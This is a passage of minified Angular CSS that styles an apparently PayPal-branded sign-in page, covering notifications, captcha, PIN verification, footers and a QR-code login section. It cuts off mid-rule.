.pin-password[_ngcontent-%COMP%]{margin-bottom:10px}.profileDisplayPhoneCode[_ngcontent-%COMP%]{margin-right:5px}.notifications[_ngcontent-%COMP%]{outline:0;margin-bottom:10px;font-size:13px}.notifications.animatable[_ngcontent-%COMP%]{display:none}.notifications[_ngcontent-%COMP%] .notification[_ngcontent-%COMP%]{margin:0;padding:15px 15px 15px 44px;border-radius:5px;border-width:1px;border-style:solid;text-align:left;font-size:1em;background:url(https://www.paypalobjects.com/images/shared/icon_alert_sprite-2x.png) no-repeat;background-size:20px}.notifications[_ngcontent-%COMP%] .notification.notification-default[_ngcontent-%COMP%]{background-color:#f7f9fa;background-position:12px -788px;background-position:left 12px top -788px;border-color:#afabae}.lower-than-ie9[_ngcontent-%COMP%] .notifications[_ngcontent-%COMP%] .notification.notification-default[_ngcontent-%COMP%]{background-position:1% 81.5%}.notifications[_ngcontent-%COMP%] .notification.notification-critical[_ngcontent-%COMP%]{background-color:#fff7f7;background-position:12px -387px;background-position:left 12px top -387px;border-color:#c72e2e}.lower-than-ie9[_ngcontent-%COMP%] .notifications[_ngcontent-%COMP%] .notification.notification-critical[_ngcontent-%COMP%]{background-position:1% 41%}.notifications[_ngcontent-%COMP%] .notification.notification-help[_ngcontent-%COMP%]{background-color:#f7fdff;background-position:12px -588px;background-position:left 12px top -588px;border-color:#009cde}.lower-than-ie9[_ngcontent-%COMP%] .notifications[_ngcontent-%COMP%] .notification.notification-help[_ngcontent-%COMP%]{background-position:1% 61%}.notifications[_ngcontent-%COMP%] .notification.notification-success[_ngcontent-%COMP%]{background-color:#f7fff7;background-position:12px 12px;background-position:left 12px top 12px;border-color:#1b9e1b}.lower-than-ie9[_ngcontent-%COMP%] .notifications[_ngcontent-%COMP%] .notification.notification-success[_ngcontent-%COMP%]{background-position:1% 0}.notifications[_ngcontent-%COMP%] .notification.notification-warning[_ngcontent-%COMP%]{background-color:#fffcf7;background-position:12px -188px;background-position:left 12px top -188px;border-color:#f8981f}.lower-than-ie9[_ngcontent-%COMP%] .notifications[_ngcontent-%COMP%] .notification.notification-warning[_ngcontent-%COMP%]{background-position:1% 20.5%}.deniedCaution[_ngcontent-%COMP%]{margin-bottom:25px;width:112px;height:100px}.denied[_ngcontent-%COMP%]{text-align:center}.verification[_ngcontent-%COMP%], .unavailable[_ngcontent-%COMP%]{text-align:left}.verification[_ngcontent-%COMP%] .headerText[_ngcontent-%COMP%]{font-size:30px}.verification[_ngcontent-%COMP%] .verification-message[_ngcontent-%COMP%]{margin:0 0 24px;text-align:center}.verification[_ngcontent-%COMP%] .pin[_ngcontent-%COMP%]{margin:0 0 12px;text-align:center;font-size:36px;color:#2c2e2f}.mobileNotification[_ngcontent-%COMP%]{padding:36px 0 24px}.mobileScreen[_ngcontent-%COMP%]{width:121px;margin:auto}.tryAnotherMsg[_ngcontent-%COMP%]{text-align:center;margin-top:0}.tryAnotherMsg[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{font-weight:700}.resendMsg[_ngcontent-%COMP%]{text-align:center;margin-bottom:0}.resendMsg[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{font-weight:700}.unavailableMessage[_ngcontent-%COMP%]{margin-bottom:30px}.accountArea[_ngcontent-%COMP%]{width:100%;text-align:center}.accountArea[_ngcontent-%COMP%] .account[_ngcontent-%COMP%]{display:inline-block;font-size:1.2em;line-height:1.4}.accountArea[_ngcontent-%COMP%] .verificationNotYou[_ngcontent-%COMP%]{display:inline-block;margin:0;padding-left:15px;font-size:1em;line-height:1.4}.accountArea[_ngcontent-%COMP%] .verificationNotYou[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{font-weight:700}.verification[_ngcontent-%COMP%] hr[_ngcontent-%COMP%]{background-image:linear-gradient(to right,#cbd2d6 50%,rgba(255,255,255,0) 40%);background-position:top;background-size:3px 1px;background-repeat:repeat-x;height:1px;border:0;margin:0}.sentMessage[_ngcontent-%COMP%]{color:#1b9e1b}.captcha-container[_ngcontent-%COMP%]{width:100%;margin:0 0 10px}.captcha-container[_ngcontent-%COMP%] .captcha-image[_ngcontent-%COMP%]{height:83px;text-align:center;border:1px solid #e6e6e6;border-radius:5px;margin:0 0 10px}.captcha-container[_ngcontent-%COMP%] .captcha-image[_ngcontent-%COMP%] img[_ngcontent-%COMP%]{width:100%;height:81px;border-radius:5px}.captcha-container[_ngcontent-%COMP%] .captcha-inputs[_ngcontent-%COMP%]{display:table;width:100%}.captcha-container[_ngcontent-%COMP%] .captcha-inputs[_ngcontent-%COMP%] .textInput[_ngcontent-%COMP%]{display:table-cell;min-width:100px}.captcha-container[_ngcontent-%COMP%] .captcha-inputs[_ngcontent-%COMP%] .refresh[_ngcontent-%COMP%], .captcha-container[_ngcontent-%COMP%] .captcha-inputs[_ngcontent-%COMP%] .audio[_ngcontent-%COMP%]{display:table-cell;vertical-align:middle;width:36px}.lower-than-ie9[_ngcontent-%COMP%] .captcha-container[_ngcontent-%COMP%] .captcha-inputs[_ngcontent-%COMP%] .refresh[_ngcontent-%COMP%], .lower-than-ie9[_ngcontent-%COMP%] .captcha-container[_ngcontent-%COMP%] .captcha-inputs[_ngcontent-%COMP%] .audio[_ngcontent-%COMP%], .lower-than-ie10[_ngcontent-%COMP%] .captcha-container[_ngcontent-%COMP%] .captcha-inputs[_ngcontent-%COMP%] .refresh[_ngcontent-%COMP%], .lower-than-ie10[_ngcontent-%COMP%] .captcha-container[_ngcontent-%COMP%] .captcha-inputs[_ngcontent-%COMP%] .audio[_ngcontent-%COMP%]{vertical-align:bottom}.captcha-container[_ngcontent-%COMP%] .captcha-inputs[_ngcontent-%COMP%] .refresh[_ngcontent-%COMP%]{padding:0 8px}.captcha-container[_ngcontent-%COMP%] .captcha-inputs[_ngcontent-%COMP%] .captchaPlay[_ngcontent-%COMP%], .captcha-container[_ngcontent-%COMP%] .captcha-inputs[_ngcontent-%COMP%] .captchaRefresh[_ngcontent-%COMP%]{display:block;width:36px;height:36px}.captcha-container[_ngcontent-%COMP%] .captcha-inputs[_ngcontent-%COMP%] .captchaPlay[_ngcontent-%COMP%]:after, .captcha-container[_ngcontent-%COMP%] .captcha-inputs[_ngcontent-%COMP%] .captchaRefresh[_ngcontent-%COMP%]:after{width:36px;height:36px}.captcha-container[_ngcontent-%COMP%] .captcha-inputs[_ngcontent-%COMP%] .captchaPlay[_ngcontent-%COMP%]:after{background-position:-32px -3489px}.captcha-container[_ngcontent-%COMP%] .captcha-inputs[_ngcontent-%COMP%] .captchaRefresh[_ngcontent-%COMP%]:after{background-position:-33px -3389px}.buttonLight[_ngcontent-%COMP%]{border:1px solid;border-color:#ddd #d9d9d9 #bdbdbd;background-color:#dedede;background:linear-gradient(bottom,#dedede 0,#dedede 20%,#f5f5f5 100%);text-shadow:0 1px #efefef;color:#333;border-radius:5px;box-shadow:0 1px #fff inset,0 1px rgba(255,255,255,.2)}.buttonLight[_ngcontent-%COMP%]:hover{background-color:#d1d1d1;background:linear-gradient(bottom,#d1d1d1 0,#d1d1d1 20%,#ebebeb 100%);text-decoration:none;box-shadow:0 1px #f5f5f5 inset,0 1px rgba(255,255,255,.2)}.buttonLight[_ngcontent-%COMP%]:active{background-color:#c8c8c8;border-color:#c2c2c2 #bcbcbc #adadad;background:linear-gradient(bottom,#d1d1d1 0,#d1d1d1 20%,#dedede 100%);box-shadow:0 2px 4px #999 inset,0 1px rgba(255,255,255,.2)}.onboardingSpritePseudo[_ngcontent-%COMP%]:after{content:"";display:block;background-image:url(https://www.paypalobjects.com/webstatic/mktg/consumer/onboarding/ui-sprite.png);background-repeat:no-repeat}.footer[_ngcontent-%COMP%]{position:fixed;bottom:0;left:0;right:0;font-size:11px;padding-top:14px}.footer[_ngcontent-%COMP%] .legalFooter[_ngcontent-%COMP%]{text-align:center;padding:14px;background-color:#f7f9fa}.footer[_ngcontent-%COMP%] .legalFooter[_ngcontent-%COMP%] a[_ngcontent-%COMP%], .footer[_ngcontent-%COMP%] .legalFooter[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:link, .footer[_ngcontent-%COMP%] .legalFooter[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:visited, .footer[_ngcontent-%COMP%] .legalFooter[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:hover{color:#666;white-space:nowrap}.intentFooter[_ngcontent-%COMP%]{position:relative;display:block;font-size:12px;margin-top:72px}.intentFooter[_ngcontent-%COMP%] .cancelUrl[_ngcontent-%COMP%]{text-align:center;display:block;width:100%}.intentFooter[_ngcontent-%COMP%] .adjustCancelUrl.cancelUrl[_ngcontent-%COMP%]{text-align:center}.intentFooter[_ngcontent-%COMP%] .localeSelector[_ngcontent-%COMP%]{text-align:center;display:block;width:100%;padding-top:16px}.intentFooter[_ngcontent-%COMP%] .localeSelector[_ngcontent-%COMP%] a[_ngcontent-%COMP%], .intentFooter[_ngcontent-%COMP%] .localeSelector[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:link, .intentFooter[_ngcontent-%COMP%] .localeSelector[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:visited, .intentFooter[_ngcontent-%COMP%] .localeSelector[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:hover{color:#666;white-space:nowrap}.intentFooter[_ngcontent-%COMP%] .localeSelector[_ngcontent-%COMP%] a.selected[_ngcontent-%COMP%]{color:#666;font-weight:700}.intentFooter[_ngcontent-%COMP%] .localeSelector[_ngcontent-%COMP%] .localeLink[_ngcontent-%COMP%]{margin:0;list-style:none;display:inline-block}.intentFooter[_ngcontent-%COMP%] .localeSelector[_ngcontent-%COMP%] .localeLink[_ngcontent-%COMP%] li[_ngcontent-%COMP%]{padding:0 6px;display:inline-block;border-left:1px solid #ccc}.intentFooter[_ngcontent-%COMP%] .localeSelector[_ngcontent-%COMP%] .localeLink[_ngcontent-%COMP%] li[_ngcontent-%COMP%]:first-child{padding-left:0;border-left:0}.intentFooter[_ngcontent-%COMP%] .adjustLocaleSelector.localeSelector[_ngcontent-%COMP%]{text-align:center}.intentFooter[_ngcontent-%COMP%] .adjustLocaleSelector.localeSelector[_ngcontent-%COMP%] a[_ngcontent-%COMP%], .intentFooter[_ngcontent-%COMP%] .adjustLocaleSelector.localeSelector[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:link, .intentFooter[_ngcontent-%COMP%] .adjustLocaleSelector.localeSelector[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:visited, .intentFooter[_ngcontent-%COMP%] .adjustLocaleSelector.localeSelector[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:hover{color:#666;white-space:nowrap}.intentFooter[_ngcontent-%COMP%] .adjustLocaleSelector.localeSelector[_ngcontent-%COMP%] a.selected[_ngcontent-%COMP%]{color:#666;font-weight:700}.intentFooter[_ngcontent-%COMP%] .adjustLocaleSelector.localeSelector[_ngcontent-%COMP%] .localeLink[_ngcontent-%COMP%]{margin:0;list-style:none;display:inline-block}.intentFooter[_ngcontent-%COMP%] .adjustLocaleSelector.localeSelector[_ngcontent-%COMP%] .localeLink[_ngcontent-%COMP%] li[_ngcontent-%COMP%]{padding:0 6px;display:inline-block;border-left:1px solid #ccc}.intentFooter[_ngcontent-%COMP%] .adjustLocaleSelector.localeSelector[_ngcontent-%COMP%] .localeLink[_ngcontent-%COMP%] li[_ngcontent-%COMP%]:first-child{padding-left:0;border-left:0}.intentFooter[_ngcontent-%COMP%] .adjustLocaleSelector.localeSelector[_ngcontent-%COMP%] .localeSelector[_ngcontent-%COMP%]{text-align:left;display:block;width:100%;padding-top:20px}.intentFooter[_ngcontent-%COMP%] .adjustLocaleSelector.localeSelector[_ngcontent-%COMP%] .localeSelector[_ngcontent-%COMP%] a[_ngcontent-%COMP%], .intentFooter[_ngcontent-%COMP%] .adjustLocaleSelector.localeSelector[_ngcontent-%COMP%] .localeSelector[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:link, .intentFooter[_ngcontent-%COMP%] .adjustLocaleSelector.localeSelector[_ngcontent-%COMP%] .localeSelector[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:visited, .intentFooter[_ngcontent-%COMP%] .adjustLocaleSelector.localeSelector[_ngcontent-%COMP%] .localeSelector[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:hover{color:#666;white-space:nowrap}.intentFooter[_ngcontent-%COMP%] .adjustLocaleSelector.localeSelector[_ngcontent-%COMP%] .localeSelector[_ngcontent-%COMP%] a.selected[_ngcontent-%COMP%]{color:#666;font-weight:700}.intentFooter[_ngcontent-%COMP%] .adjustLocaleSelector.localeSelector[_ngcontent-%COMP%] .localeSelector[_ngcontent-%COMP%] .localeLink[_ngcontent-%COMP%]{margin:0;list-style:none;display:inline-block}.intentFooter[_ngcontent-%COMP%] .adjustLocaleSelector.localeSelector[_ngcontent-%COMP%] .localeSelector[_ngcontent-%COMP%] .localeLink[_ngcontent-%COMP%] li[_ngcontent-%COMP%]{padding:0 6px;display:inline-block;border-left:1px solid #ccc}.intentFooter[_ngcontent-%COMP%] .adjustLocaleSelector.localeSelector[_ngcontent-%COMP%] .localeSelector[_ngcontent-%COMP%] .localeLink[_ngcontent-%COMP%] li[_ngcontent-%COMP%]:first-child{padding-left:0;border-left:0}.adjustFooter[_ngcontent-%COMP%]{margin-top:25px}.footerGroup[_ngcontent-%COMP%]{list-style-type:none;text-align:center}.footerGroup[_ngcontent-%COMP%] li[_ngcontent-%COMP%]{display:inline-block;margin:0 10px 0 0}.footerGroup[_ngcontent-%COMP%] li[_ngcontent-%COMP%] a[_ngcontent-%COMP%], .footerGroup[_ngcontent-%COMP%] li[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:link, .footerGroup[_ngcontent-%COMP%] li[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:visited, .footerGroup[_ngcontent-%COMP%] li[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:hover{color:#666;white-space:nowrap}.footerGroup[_ngcontent-%COMP%] li[_ngcontent-%COMP%]:last-child{margin:0}.footerGroupWithSiblings[_ngcontent-%COMP%]{float:left;padding:0;background:0 0}.footerCopyright[_ngcontent-%COMP%]{margin:0;text-align:right;color:#9e9e9e}.footerDisclaimer[_ngcontent-%COMP%]{margin:0;padding:7px 0 0;clear:both;color:#9e9e9e;text-align:left}.footerDisclaimer-cn[_ngcontent-%COMP%]{margin:0;padding:7px 0 0;clear:both;color:#9e9e9e;text-align:right}.footerWithIcon[_ngcontent-%COMP%]{background:#fff url(https://www.paypalobjects.com/webstatic/i/consumer/onboarding/icon_PP_monogram_2x.png) center 14px no-repeat;padding:58px 0 0;background-size:20px}.footerWithIcon[_ngcontent-%COMP%] .extendedContent[_ngcontent-%COMP%]{background:#f7f9fa}.footerWithIcon[_ngcontent-%COMP%] .extendedContent[_ngcontent-%COMP%] > .footerGroup[_ngcontent-%COMP%]{padding:0;background:0 0}.footerWithIcon[_ngcontent-%COMP%] .footerGroupWithSiblings[_ngcontent-%COMP%], .footerWithIcon[_ngcontent-%COMP%] .footerCopyright[_ngcontent-%COMP%]{padding:0}.footerStayPut[_ngcontent-%COMP%]{position:relative;top:0;left:0}@media all and (max-width: 767px){.footerWithIcon[_ngcontent-%COMP%]{padding:58px 0 0}.footerWithIcon[_ngcontent-%COMP%] .extendedContent[_ngcontent-%COMP%]{background:#f7f9fa}.footerWithIcon[_ngcontent-%COMP%] .extendedContent[_ngcontent-%COMP%] > .footerGroup[_ngcontent-%COMP%]{padding:0;background:0 0}.footerGroupWithSiblings[_ngcontent-%COMP%], .footerCopyright[_ngcontent-%COMP%]{text-align:left}.footerGroupWithSiblings[_ngcontent-%COMP%]{margin-bottom:7px;float:none}.footerDisclaimer[_ngcontent-%COMP%]{margin-top:7px;padding:0;text-align:left}.intentFooter[_ngcontent-%COMP%]{margin-bottom:20px}.footer[_ngcontent-%COMP%] .intentFooter[_ngcontent-%COMP%]{display:block}.footer[_ngcontent-%COMP%] .intentFooter[_ngcontent-%COMP%] .cancelUrl[_ngcontent-%COMP%]{padding-bottom:10px;display:block;width:100%}.footer[_ngcontent-%COMP%] .intentFooter[_ngcontent-%COMP%] .localeSelector[_ngcontent-%COMP%]{display:block;width:100%;text-align:left}.adjustFooter[_ngcontent-%COMP%]{position:fixed;left:0;bottom:60px;width:100%}}#cn-police-img[_ngcontent-%COMP%]{height:11px}#ipv6[_ngcontent-%COMP%]{display:inline-block;margin-left:4px;padding:0 5px;border:1px solid #9da3a6;border-radius:2px}@keyframes rotation{0%{transform:rotate(0)}to{transform:rotate(359deg)}}@-webkit-keyframes rotation{0%{transform:rotate(0)}to{transform:rotate(359deg)}}html[_ngcontent-%COMP%]{background-color:#fff;min-height:100%}body[_ngcontent-%COMP%]{min-height:100%;margin:0;padding:0;color:#2c2e2f;font-family:pp-sans-big-regular,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal;font-size:105%;-webkit-font-smoothing:antialiased;-webkit-backface-visibility:hidden;-moz-text-size-adjust:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}ul[_ngcontent-%COMP%], ol[_ngcontent-%COMP%], li[_ngcontent-%COMP%]{margin:0;padding:0}p[_ngcontent-%COMP%]{margin:20px 0;font-family:pp-sans-big-regular,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal;color:#2c2e2f}h1[_ngcontent-%COMP%], .alpha[_ngcontent-%COMP%]{margin:0;font-family:pp-sans-big-regular,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal;font-size:1.73333333em;font-weight:300;color:#2c2e2f}.alpha2[_ngcontent-%COMP%]{text-align:center}.alphaDecorated[_ngcontent-%COMP%]{padding-bottom:20px;border-bottom:1px solid #cbd2d6}h2[_ngcontent-%COMP%]{margin:0;padding:0;font-family:pp-sans-big-regular,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal;font-size:1.4em;font-weight:300;color:#2c2e2f}img[_ngcontent-%COMP%]{border:0}a[_ngcontent-%COMP%], a[_ngcontent-%COMP%]:link, a[_ngcontent-%COMP%]:visited{color:#0070ba;font-family:pp-sans-big-medium,Helvetica Neue,Arial,sans-serif;font-feature-settings:normal;font-variant:normal;font-weight:400;text-decoration:none;transition:color .2s ease-out}a[_ngcontent-%COMP%]:hover, a[_ngcontent-%COMP%]:focus{text-decoration:underline;outline:0}p[_ngcontent-%COMP%], div[_ngcontent-%COMP%], span[_ngcontent-%COMP%], a[_ngcontent-%COMP%], h1[_ngcontent-%COMP%], label[_ngcontent-%COMP%], select[_ngcontent-%COMP%]{font-family:pp-sans-big-regular,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal}.dusk[_ngcontent-%COMP%], .dusk[_ngcontent-%COMP%]:link, .dusk[_ngcontent-%COMP%]:visited{color:#0079ad}.no-js[_ngcontent-%COMP%] body[_ngcontent-%COMP%]{display:block!important}.nonjsAlert[_ngcontent-%COMP%]{margin:0;padding:.5em;border-top:1px solid #900;border-bottom:1px solid #900;background-color:#ff9;color:#900;text-align:center}.imageLink[_ngcontent-%COMP%]:focus{box-shadow:0 0 1px 1px #666;border-radius:5px}.lower-than-ie9[_ngcontent-%COMP%] .imageLink[_ngcontent-%COMP%]:focus{outline:1px solid #666}.accessAid[_ngcontent-%COMP%]{position:absolute!important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);padding:0!important;border:0!important;height:1px!important;width:1px!important;overflow:hidden}.clearfix[_ngcontent-%COMP%]{zoom:1}.clearfix[_ngcontent-%COMP%]:before, .clearfix[_ngcontent-%COMP%]:after{display:table;content:""}.clearfix[_ngcontent-%COMP%]:after{clear:both}.underlay[_ngcontent-%COMP%]{content:"";height:100%;width:100%;margin:0;padding:0;position:fixed;top:0;left:0;background:#999;opacity:.6;z-index:5}.browserIcon[_ngcontent-%COMP%]{width:25%;float:left}.edge[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared//sprite-browsers.png) no-repeat -1040px -100px;width:68px;height:74px;margin:0 auto}.firefox[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared//sprite-browsers.png) no-repeat -1040px -185px;width:66px;height:74px;margin:0 auto}.chrome[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared//sprite-browsers.png) no-repeat -1140px -100px;width:67px;height:74px;margin:0 auto}.safari[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared//sprite-browsers.png) no-repeat -1140px -185px;width:68px;height:74px;margin:0 auto}.unsupportedBrowserPage[_ngcontent-%COMP%]{text-align:center;font-family:pp-sans-big-light,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal}.unsupportedBrowserErrorMessage[_ngcontent-%COMP%]{padding:0 5px}.unsupportedBrowserSection[_ngcontent-%COMP%]{width:500px;margin:0 auto}input[_ngcontent-%COMP%]::-ms-clear, input[_ngcontent-%COMP%]::-ms-reveal{display:none;width:0;height:0}.oneTouchRm[_ngcontent-%COMP%] header[_ngcontent-%COMP%]{display:table;width:100%;border-bottom:1px solid #ececec}.oneTouchRm[_ngcontent-%COMP%] header[_ngcontent-%COMP%] .paypal-logo[_ngcontent-%COMP%]{margin-top:20px;margin-bottom:17px}.oneTouchRm[_ngcontent-%COMP%] .oneTouchNotYou[_ngcontent-%COMP%]{font-weight:700;text-align:center;margin:20px 0 -10px}.oneTouchRm[_ngcontent-%COMP%] .oneTouchNotYou[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{font-weight:700}.oneTouchRm[_ngcontent-%COMP%] .steps-container[_ngcontent-%COMP%]{padding:0 15px 4px 27px;margin:0;box-sizing:content-box}.oneTouchRm[_ngcontent-%COMP%] .headerText[_ngcontent-%COMP%]{font-size:22px;margin-top:34px;padding-bottom:24px}.oneTouchRm[_ngcontent-%COMP%] .steps[_ngcontent-%COMP%]{padding:6px 0}.oneTouchRm[_ngcontent-%COMP%] .steps[_ngcontent-%COMP%]:first-child{padding-top:0}.oneTouchRm[_ngcontent-%COMP%] .steps[_ngcontent-%COMP%]:last-child{padding-bottom:0!important}.oneTouchRm[_ngcontent-%COMP%] .steps[_ngcontent-%COMP%] .icon-text[_ngcontent-%COMP%]{display:table-cell;vertical-align:middle}.oneTouchRm[_ngcontent-%COMP%] .steps[_ngcontent-%COMP%] .icon-text[_ngcontent-%COMP%] .icon-headline[_ngcontent-%COMP%]{font-weight:700;padding-top:4px;margin:0;padding-bottom:0;line-height:1.5em}.oneTouchRm[_ngcontent-%COMP%] .steps[_ngcontent-%COMP%] .icon-text[_ngcontent-%COMP%] .icon-description[_ngcontent-%COMP%]{padding-top:2px;padding-bottom:0;margin:0;font-size:15px;line-height:1.5em}.oneTouchRm[_ngcontent-%COMP%] .steps[_ngcontent-%COMP%] .steps-icon[_ngcontent-%COMP%]{width:36px;height:36px;float:left;margin-right:20px;background:url(https://www.paypalobjects.com/images/shared/remember-me-Interstitial-image.png) no-repeat 0 -5px}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (min--moz-device-pixel-ratio: 2),only screen and (-o-min-device-pixel-ratio: 2/1),only screen and (min-device-pixel-ratio: 2){.oneTouchRm[_ngcontent-%COMP%] .steps[_ngcontent-%COMP%] .steps-icon[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared/remember-me-Interstitial-image_2x.png) no-repeat 0 -5px;background-size:36px}}.oneTouchRm[_ngcontent-%COMP%] .steps[_ngcontent-%COMP%] .steps-icon.icon-0[_ngcontent-%COMP%]{background-position:0 -5px}.oneTouchRm[_ngcontent-%COMP%] .steps[_ngcontent-%COMP%] .steps-icon.icon-1[_ngcontent-%COMP%]{background-position:0 -48px}.oneTouchRm[_ngcontent-%COMP%] .steps[_ngcontent-%COMP%] .steps-icon.icon-2[_ngcontent-%COMP%]{background-position:0 -90px}.oneTouchRm[_ngcontent-%COMP%] .reassure[_ngcontent-%COMP%]{margin:15px 0}.oneTouchRm[_ngcontent-%COMP%] .secondaryLink[_ngcontent-%COMP%]{margin-top:12px}.paypal-logo[_ngcontent-%COMP%]{margin:0 auto 6.56%;text-indent:100%;overflow:hidden;white-space:nowrap}.signin-paypal-logo[_ngcontent-%COMP%]{margin:0 auto 13.116%}.paypal-logo-long[_ngcontent-%COMP%]{background:transparent url(https://www.paypalobjects.com/images/shared/momgram@2x.png) top center no-repeat;background-size:30px;width:30px;height:36px;display:block}.paypal-logo-qrc[_ngcontent-%COMP%]{background:transparent url(https://www.paypalobjects.com/images/shared/paypal-logo-129x32.svg) top center no-repeat;background-size:auto 40px;width:229px;height:40px;display:block}.lower-than-ie9[_ngcontent-%COMP%] .paypal-logo-qrc[_ngcontent-%COMP%]{background:transparent url(https://www.paypalobjects.com/images/shared/paypal-logo-129x32.png) top center no-repeat}.paypal-logo-monogram[_ngcontent-%COMP%]{background:transparent url(https://www.paypalobjects.com/images/shared/momgram@2x.png) top center no-repeat;background-size:30px;width:30px;height:36px}.contentContainer[_ngcontent-%COMP%]{position:relative;margin:0 auto;padding:30px 10% 50px;border-radius:12px}.contentContainer[_ngcontent-%COMP%] .modal-overlay[_ngcontent-%COMP%]{content:"";height:100%;width:100%;position:absolute;top:0;left:0;z-index:16;-moz-opacity:.5;-khtml-opacity:.5;-webkit-opacity:.5;opacity:.5;-ms-filter:alpha(opacity=50);filter:alpha(opacity=50);background-color:#fff}.contentContainerBordered[_ngcontent-%COMP%]{margin:120px auto 0;padding:30px 10% 50px;border:1px solid #eaeced;overflow:hidden}.contentContainerNoLogo[_ngcontent-%COMP%]{margin-top:170px}.mainSlim[_ngcontent-%COMP%]{margin:0}.pwr-modal[_ngcontent-%COMP%]{display:none}.pwr-modal[_ngcontent-%COMP%] iframe[_ngcontent-%COMP%]{border:0;width:100%;min-height:300px}.ui-dialog-titlebar[_ngcontent-%COMP%] div[_ngcontent-%COMP%]{box-sizing:content-box}.response500[_ngcontent-%COMP%]{text-align:center}.response500[_ngcontent-%COMP%] .headerText[_ngcontent-%COMP%]{line-height:normal}.left[_ngcontent-%COMP%]{text-align:left}.bold[_ngcontent-%COMP%]{font-weight:700;margin-bottom:0}.largetext[_ngcontent-%COMP%]{font-size:30px;margin-top:0}.countdown[_ngcontent-%COMP%]{font-size:38px;margin-top:0}.corral[_ngcontent-%COMP%]{margin:0 auto;width:460px;position:relative}.qrHeaderText[_ngcontent-%COMP%]{text-align:center;font-size:32px;margin-bottom:38px}.qrCodeSection[_ngcontent-%COMP%]{top:20px;width:375px;margin-top:42px;position:relative}.qrCodeSection[_ngcontent-%COMP%] .qrList[_ngcontent-%COMP%]{list-style-type:decimal;padding-left:16px;margin-top:24px}.qrcComponent[_ngcontent-%COMP%]{width:200px;height:200px;left:85px;position:relative;border-radius:6px;box-shadow:0 0 10px rgba(0,0,0,.15);text-align:center}.qrcCanvas[_ngcontent-%COMP%]{width:180px;height:180px;left:10px;top:10px;position:absolute;text-align:center}.qrPPLogo[_ngcontent-%COMP%]{position:absolute;background-color:#fff!important;top:62px;left:83px;width:40px;height:40px;background:url(https://www.paypalobjects.com/paypal-ui/logos/svg/paypal-mark-color.svg) top center no-repeat;background-size:auto 40px}.qrcSpinnerContainer[_ngcontent-%COMP%]{position:absolute;top:2px;left:5px;width:190px;height:190px;background-color:#fff;opacity:94%;text-align:center;z-index:12}.qrcRefreshSpinner[_ngcontent-%COMP%]{position:absolute;top:80px;left:81px;color:#0070ba;background-color:#fff;opacity:94%;z-index:15;cursor:pointer;display:block;margin:0 auto 10px;text-align:center;width:30px;height:30px;box-sizing:border-box;border-left:.125rem solid #005ea6;border-right:.125rem solid #005ea6;border-bottom:.125rem solid rgba(0,0,0,0);border-top:.125rem solid #005ea6;border-radius:50px;-webkit-animation:rotation 1s infinite linear;animation:rotation 1s infinite linear}.refreshComponent[_ngcontent-%COMP%]{position:absolute;top:2px;left:5px;width:190px;height:190px;background-color:#fff;opacity:94%;text-align:center;z-index:12}.refreshIcon[_ngcontent-%COMP%]{position:absolute;top:80px;left:81px;width:30px;height:30px;color:#0070ba;background-color:#fff;background-image:url(https://www.paypalobjects.com/ice/assets/paypal/images/refresh_blue.png);background-size:30px 30px;opacity:94%;z-index:15;cursor:pointer}.refreshMessage[_ngcontent-%COMP%]{position:absolute;top:120px;left:35px;color:#0070ba;border:0;background-color:#fff;opacity:94%;z-index:15;cursor:pointer}.refreshMessage[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:link{text-decoration:none}.refreshMessage[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:visited{text-decoration:none}.refreshMessage[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:hover{text-decoration:none}.refreshMessage[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:active{text-decoration:none}@media all and (min-width: 932px){.loginContent[_ngcontent-%COMP%]{display:flex;width:848px;padding:0 30px 0 0}.loginSection[_ngcontent-%COMP%]{display:inline-block;flex:1;width:376px;padding:15px 48px 15px 0;border-right:1px solid #eaeced}.corralQR[_ngcontent-%COMP%]{width:932px}.qrCodeSection[_ngcontent-%COMP%]{width:414px;position:relative;display:inline-block;margin-top:0;left:5px;border-collapse:separate;background-color:transparent;text-align:center;padding:0 0 0 47px}.qrCodeSection[_ngcontent-%COMP%] .qrList[_ngcontent-%COMP%]{list-style-type:decimal;padding-left:16px;margin-top:24px}.qrcComponent[_ngcontent-%COMP%]{width:200px;height:200px;top:0;left:110px;position:absolute;border-radius:6px;box-shadow:0 0 10px 